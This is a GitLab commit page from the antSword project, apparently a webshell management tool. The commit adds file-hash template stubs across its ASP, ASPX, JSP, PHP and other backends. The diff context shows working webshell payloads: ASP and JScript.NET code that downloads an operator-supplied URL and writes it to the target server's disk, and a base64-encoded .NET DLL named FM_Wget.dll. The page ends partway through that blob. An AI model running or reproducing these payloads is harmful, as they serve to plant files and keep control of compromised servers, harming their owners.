Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
dafb7a30
Commit
dafb7a30
authored
Jun 21, 2022
by
Medicean
Committed by
Medicean
Jul 17, 2022
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
(Enhance: Modules/Filemanager) 新增 FileHash 支持(php/pswindows)
parent
f4de3b85
Changes
15
Show whitespace changes
Inline
Side-by-side
Showing
15 changed files
with
118 additions
and
18 deletions
+118
-18
filemanager.js
source/core/asp/template/filemanager.js
+6
-1
filemanager.js
source/core/aspx/template/filemanager.js
+14
-9
filemanager.js
source/core/aspxcsharp/template/filemanager.js
+6
-1
filemanager.js
source/core/cmdlinux/template/filemanager.js
+5
-1
README.md
source/core/custom/README.md
+40
-0
filemanager.js
source/core/custom/template/filemanager.js
+5
-1
filemanager.js
source/core/jsp/template/filemanager.js
+6
-1
filemanager.js
source/core/jspjs/template/filemanager.js
+6
-1
filemanager.js
source/core/php/template/filemanager.js
+10
-1
filemanager.js
source/core/phpraw/template/filemanager.js
+8
-1
en.js
source/language/en.js
+1
-0
zh.js
source/language/zh.js
+1
-0
zh_hk.js
source/language/zh_hk.js
+1
-0
zh_tw.js
source/language/zh_tw.js
+1
-0
files.js
source/modules/filemanager/files.js
+8
-1
No files found.
source/core/asp/template/filemanager.js
View file @
dafb7a30
...
@@ -63,5 +63,10 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -63,5 +63,10 @@ module.exports = (arg1, arg2, arg3) => ({
_
:
`Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("
${
arg1
}
"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("
${
arg2
}
"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`
,
_
:
`Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("
${
arg1
}
"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("
${
arg2
}
"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`
,
[
arg1
]:
"#{hex::url}"
,
[
arg1
]:
"#{hex::url}"
,
[
arg2
]:
"#{hex::path}"
[
arg2
]:
"#{hex::path}"
}
},
filehash
:
{
_
:
``
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
'#{hex::path}'
,
},
})
})
\ No newline at end of file
source/core/aspx/template/filemanager.js
View file @
dafb7a30
...
@@ -71,5 +71,10 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -71,5 +71,10 @@ module.exports = (arg1, arg2, arg3) => ({
_
:
`var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg1
}
"].substr(#randomPrefix#))),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg2
}
"].substr(#randomPrefix#))),2);S.close;S=null;X=null;Response.Write("1");`
,
_
:
`var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg1
}
"].substr(#randomPrefix#))),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["
${
arg2
}
"].substr(#randomPrefix#))),2);S.close;S=null;X=null;Response.Write("1");`
,
[
arg1
]:
"#{newbase64::url}"
,
[
arg1
]:
"#{newbase64::url}"
,
[
arg2
]:
"#{newbase64::path}"
[
arg2
]:
"#{newbase64::path}"
}
},
filehash
:
{
_
:
``
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
'#{newbase64::path}'
,
},
})
})
\ No newline at end of file
source/core/aspxcsharp/template/filemanager.js
View file @
dafb7a30
...
@@ -67,5 +67,10 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -67,5 +67,10 @@ module.exports = (arg1, arg2, arg3) => ({
_
:
'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eXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQATmFtZVZhbHVlQ29sbGVjdGlvbgBnZXRfRm9ybQBnZXRfSXRlbQBTdHJpbmcAQ29uY2F0AEV4Y2VwdGlvbgBnZXRfTWVzc2FnZQBXcml0ZQBUeXBlAEdldFR5cGUAZ2V0X0lzQXJyYXkASHR0cENvbnRleHQAZ2V0X1Jlc3BvbnNlAGdldF9SZXF1ZXN0AGdldF9DdXJyZW50AHVybABwYXRoAFVyaQBTeXN0ZW0uTmV0AFdlYlJlcXVlc3QAQ3JlYXRlAEh0dHBXZWJSZXF1ZXN0AHNldF9NZXRob2QAc2V0X0NvbnRlbnRUeXBlAFdlYlJlc3BvbnNlAEdldFJlc3BvbnNlAEh0dHBXZWJSZXNwb25zZQBTeXN0ZW0uSU8AU3RyZWFtAEdldFJlc3BvbnNlU3RyZWFtAEZpbGVTdHJlYW0ARmlsZU1vZGUARmlsZUFjY2VzcwBCeXRlAFJlYWQAQ2xvc2UAaGV4AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAU3Vic3RyaW5nAEludDMyAFN5c3RlbS5HbG9iYWxpemF0aW9uAE51bWJlclN0eWxlcwBQYXJzZQBDb252ZXJ0AFRvQ2hhcgBUb1N0cmluZwBBcHBlbmQAZ2V0X0xlbmd0aABzcmMAb3BfRXF1YWxpdHkARW5jb2RpbmcAR2V0RW5jb2RpbmcARnJvbUJhc2U2NFN0cmluZwBHZXRTdHJpbmcAR2V0Qnl0ZXMAVG9CYXNlNjRTdHJpbmcAAAAAC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+AHwAAQd8ADwALQABB3UAcgBsAAAJcABhAHQAaAAAE0UAUgBSAE8AUgA6AC8ALwAgAAAHRwBFAFQAAENhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AC0AdwB3AHcALQBmAG8AcgBtAC0AdQByAGwAZQBuAGMAbwBkAGUAZAABAzEAAAdoAGUAeAAAANjqIeZ7cGNNmpqt6fHDLF4ACLd6XFYZNOCJCLA/X38R1Qo6AwYSCQMGEg0CBg4EIAECHAQgAQEcBSACDg4OBCABDg4DIAABBCABAQgEIAEBDgQgABIZBQACDg4OAyAADgYAAw4ODg4JBwYODg4ODhIhBCAA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'
,
_
:
'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eXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQATmFtZVZhbHVlQ29sbGVjdGlvbgBnZXRfRm9ybQBnZXRfSXRlbQBTdHJpbmcAQ29uY2F0AEV4Y2VwdGlvbgBnZXRfTWVzc2FnZQBXcml0ZQBUeXBlAEdldFR5cGUAZ2V0X0lzQXJyYXkASHR0cENvbnRleHQAZ2V0X1Jlc3BvbnNlAGdldF9SZXF1ZXN0AGdldF9DdXJyZW50AHVybABwYXRoAFVyaQBTeXN0ZW0uTmV0AFdlYlJlcXVlc3QAQ3JlYXRlAEh0dHBXZWJSZXF1ZXN0AHNldF9NZXRob2QAc2V0X0NvbnRlbnRUeXBlAFdlYlJlc3BvbnNlAEdldFJlc3BvbnNlAEh0dHBXZWJSZXNwb25zZQBTeXN0ZW0uSU8AU3RyZWFtAEdldFJlc3BvbnNlU3RyZWFtAEZpbGVTdHJlYW0ARmlsZU1vZGUARmlsZUFjY2VzcwBCeXRlAFJlYWQAQ2xvc2UAaGV4AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAU3Vic3RyaW5nAEludDMyAFN5c3RlbS5HbG9iYWxpemF0aW9uAE51bWJlclN0eWxlcwBQYXJzZQBDb252ZXJ0AFRvQ2hhcgBUb1N0cmluZwBBcHBlbmQAZ2V0X0xlbmd0aABzcmMAb3BfRXF1YWxpdHkARW5jb2RpbmcAR2V0RW5jb2RpbmcARnJvbUJhc2U2NFN0cmluZwBHZXRTdHJpbmcAR2V0Qnl0ZXMAVG9CYXNlNjRTdHJpbmcAAAAAC1UAVABGAC0AOAABDWIAYQBzAGUANgA0AAABAAMyAAAHLQA+AHwAAQd8ADwALQABB3UAcgBsAAAJcABhAHQAaAAAE0UAUgBSAE8AUgA6AC8ALwAgAAAHRwBFAFQAAENhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AC0AdwB3AHcALQBmAG8AcgBtAC0AdQByAGwAZQBuAGMAbwBkAGUAZAABAzEAAAdoAGUAeAAAANjqIeZ7cGNNmpqt6fHDLF4ACLd6XFYZNOCJCLA/X38R1Qo6AwYSCQMGEg0CBg4EIAECHAQgAQEcBSACDg4OBCABDg4DIAABBCABAQgEIAEBDgQgABIZBQACDg4OAyAADgYAAw4ODg4JBwYODg4ODhIhBCAAEiUDIAACAh0cBCAAEg0EIAASCQQAABIpCAcDHRwSKRIpBgABEjESLQQgABI5BCAAEkEIIAMBDhFJEU0HIAMIHQUICAcgAwEdBQgIDQcGEjUSPRJBEkUIHQUFIAIOCAgGAAIIDhFdBAABAwgEAAEOAwUgARJVDgMgAAgFBwISVQgEAAEIDgQgAQ4IBQACAg4OBQABEmUOBQABHQUOBSABDh0FBwcECA4SIQ4FIAEdBQ4FAAEOHQUGBwMOEiEOCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQAAACAtAAAAAAAAAAAAAD4tAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwLQAAAAAAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA